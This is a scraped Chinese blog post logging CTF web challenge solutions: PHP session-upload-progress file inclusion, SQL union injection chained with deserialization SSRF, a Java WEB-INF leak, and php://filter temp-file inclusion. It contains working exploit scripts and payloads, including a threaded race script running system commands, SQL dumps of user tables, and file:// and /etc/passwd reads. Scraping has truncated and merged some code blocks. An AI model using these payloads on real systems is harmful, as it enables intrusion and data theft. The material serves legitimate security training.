我的编程空间,编程开发者的网络收藏夹
学习永远不晚

刷题记录(2023.3.14 - 2023.3.18)

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

刷题记录(2023.3.14 - 2023.3.18)

[第五空间 2021]EasyCleanup

临时文件包含考点

分析源码,两个特殊的点,一个是 eval,另一个是 include

eval 经过了 strlen filter checkNums 三个函数

include 经过了 strlen filter 两个函数

filter 检测是否包含特定的关键字或字符

function filter($var){     $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];     foreach($banned as $ban){         if(strstr($var, $ban)) return True;     }     return False; } 

checkNums 检查字母和数字的数量

看一下这道题的 PHP 版本 PHP/5.5.9-1

PHP 5.4 后 session.upload_progress 内置函数被引入,如果开启可以使用其工作原理

工作原理: 在上传文件时,将上传进度信息存储在 PHP 的 $_SESSION 变量中。然后可以使用 session_upload_progress() 函数来访问这些信息,以便在用户界面中显示上传进度条或其他信息。

查看 php 配置

?mode=eval
phpinfo关于session的设置session.save_path = /tmpsession.use_strict_mode = Offsession.upload_progress.cleanup = Onsession.upload_progress.enabled= On......

脚本包含

import ioimport requestsimport threading  # 多线程from cffi.backend_ctypes import xrangesessid = '0'target = 'http://1.14.71.254:28592/'file = 'ph0ebus.txt'  # 上传文件名f = io.BytesIO(b'a' * 1024 * 50)  # 文件内容,插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长def write(session):    while True:        session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': ''},                     files={'file': (file, f)}, cookies={'PHPSESSID': sessid})def read(session):    while True:        resp = session.post(            f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")        if file in resp.text:            print(resp.text)            event.clear()        else:            print("[+]retry")            # print(resp.text)if __name__ == "__main__":    event = threading.Event()    with requests.session() as session:        for i in xrange(1, 30):  # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好            threading.Thread(target=write, args=(session,)).start()            # target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;args:在参数target中传入的可调用对象的参数元组,默认为空元组()        for i in xrange(1, 30):            threading.Thread(target=read, args=(session,)).start()    event.set()

[鹏城杯 2022]压缩包

分析源码

highlight_file(__FILE__);function removedir($dir){    $list= scandir($dir);    foreach ($list as  $value) {       if(is_file($dir.'/'.$value)){         unlink($dir.'/'.$value);       }else if($value!="."&&$value!=".."){                removedir($dir.'/'.$value);       }    }}function unzip($filename){        $result = [];        $zip = new ZipArchive();        $zip->open($filename);        $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);        if(!is_dir($dir)){            mkdir($dir);        }        if($zip->extractTo($dir)){        foreach (scandir($dir) as  $value) {            $file_ext=strrchr($value, '.');            $file_ext=strtolower($file_ext); //转换为小写            $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA            $file_ext=trim($file_ext); //收尾去空            if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){                removedir($dir);            }            if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){                if(is_file($dir."/".$value)){                    unlink($dir."/".$value);                }else{                    if($value!="."&&$value!="..")                    array_push($result,$value);                }}                   }        $zip->close();        unlink($filename);        return json_encode($result);        }else{            return false;        }    }$content= $_REQUEST['content'];shell_exec('rm -rf /tmpselect 1,2,3,4

在这里插入图片描述
网页内容左上角报错信息有反序列化函数 unserialize()

查表

-1 unionselect 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database();
username                   age                   blogusers

查列

-1 unionselect 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database();
username                   age                   blogno,username,passwd,data

查询 users 表对应的数据

-1 unionselect 1,group_concat(no,username,passwd,data),3,4 from users;
username1admin3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:7:"3333.cn";}

这是我的注册信息,所以没用,得找其他方法

扫描后台可扫到 user.php.bak

highlight_file(__FILE__);class UserInfo{    public $name = "";    public $age = 0;    public $blog = "";    public function __construct($name, $age, $blog)    {        $this->name = $name;        $this->age = (int)$age;        $this->blog = $blog;    }    function get($url)    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        $output = curl_exec($ch);        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);        if($httpCode == 404) {            return 404;        }        curl_close($ch);        return $output;    }    public function getBlogContents ()    {        return $this->get($this->blog);    }    public function isValidBlog ()    {        $blog = $this->blog;        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);    }}

根据之前的反序列化函数可知,注册信息被序列化后又被反序列化显示出来,而下方的 data 字段存在漏洞,其对应网页的博客内容

使用 sql 的 4 字段对应的 data 修改序列化内容

file:///var/www/html/flag.php
O:8:"UserInfo":3:{s:4:"name";s:10:"admin123ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

对应的 sql 语句

-1 unionselect 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:10:"admin123ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

在这里插入图片描述
访问链接,查看源码
在这里插入图片描述

[RoarCTF 2019]Easy Java

点击 help 后,java 程序错误
在这里插入图片描述
且 URL/Download?filename=help.docx

存在 WEB-INF/web.xml 泄露

WEB-INF 是 Java 的 WEB 应用的安全目录。如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。

WEB-INF 主要包含一下文件或目录:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件/WEB-INF/class="lazy" data-src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件

Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。

<servlet> 标签定义了一个 Servlet。<servlet-name> 标签定义了 Servlet 的名字。<servlet-class> 标签定义了 Servlet 的类名。<servlet-mapping> 标签将 Servlet 映射到一个 URL。<url-pattern> 标签定义了 URL 的模式,该 URL 模式将请求映射到相应的 Servlet。对于每个 Servlet,都有相应的 <servlet><servlet-mapping> 来进行定义和映射。
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

在这里插入图片描述

解码得
在这里插入图片描述

[NPUCTF2020]ezinclude

在这里插入图片描述
首页直接报错,源码中有信息

<html>html>

测试后,GET 可传 name,且其参数变化后 Set-Cookie 中的 Hash 值会变化,传入对应的 name,即有对应的 pass 值

?pass=fa25e54758d5d5c1927781a6ede89f8a

<script language="javascript" type="text/javascript">           window.location.href="flflflflag.php";script><html>html>

/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php

在这里插入图片描述

flflflflag.php

<html><head><script language="javascript" type="text/javascript">           window.location.href="404.html";</script><title>this_is_not_fl4g_and_出题人_wants_girlfriend</title></head><><body><?php$file=$_GET['file'];if(preg_match('/data|input|zip/is',$file)){die('nonono');}@include($file);echo 'include($_GET["file"])';?></body></html>

dir.php

var_dump(scandir('/tmp'));?>
在 PHP 7 中,如果存在内存错误或其他类似的问题,可能会导致段错误(segment fault),可能会导致 PHP 异常崩溃退出。这种情况可能会在尝试处理大量数据或处理超出内存限制的数据时发生。如果向 PHP 发送包含文件区块的数据包时,PHP 异常崩溃退出,但是 POST 的临时文件仍被保留

使用脚本发送包含文件区块的数据包

import requestsfrom io import BytesIO #BytesIO实现了在内存中读写bytespayload = ""data={'file': BytesIO(payload.encode())}url="http://366904a9-c0cd-4a65-8b3a-77b6adb8021f.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"r=requests.post(url=url,files=data,allow_redirects=False)

在这里插入图片描述

在这里插入图片描述

本文脚本均来自网上收集,代码持续完善分析中…

来源地址:https://blog.csdn.net/qq_62260856/article/details/129535572

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

刷题记录(2023.3.14 - 2023.3.18)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

android图像绘制(三)画布刷屏问题记录

在canvas中绘制动态图的时候,如果使用了一个固定的背景图片,只有一个小小的精灵在移动! 这样的情况下却不得不在没帧中重新绘制背景图片,使得效率降低!尝试过各种方法,最终还是失败了! 如果有人有好的方法,可以提供一下,谢谢! 以下是在探索
2022-06-06

mysql问题记录

select count(1) from dual where exists (select 1 from users where user_id = "100205"); 原因:返回为0
mysql问题记录
2019-11-13

Maven3问题记录-1

1、升级到maven3时,环境变量的设置M3_HOME=D:\ProgramFiles\apache-maven-3.0.3如果M2_HOME和M3_HOME同时存在,则报Exception in thread "main" java.la
2023-01-31

金蝶K3 12.2问题记录

1、"定义的应用程序或对象错误" 的解决方法: 错误代码:1726(6BEH) Source :KDLogin Detail :Automation 错误 解决方法如下: 1、右键“我的电脑”,选择“属性” 2、选择“高级”,再选择性能中的
2023-01-31

Flutter Add to App 问题记录

前一阵应用中接入了Flutter,使用的是官方的Multiple FlutterEngine管理方案,目前线上运行良好,这里整理一下遇到的问题。 将 Flutter 集成到现有应用整体来说没有什么问题,按照文档的说明结合demo操作就行。
2023-08-17

关于ADO中用_RecordsetPtr记录集添加记录的问题

在ADO中,可以使用_RecordsetPtr来添加记录到记录集中。下面是一个示例代码:```cpp// 创建记录集对象_RecordsetPtr pRecordset("ADODB.Recordset");// 设置连接字符串CStrin
2023-08-08

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录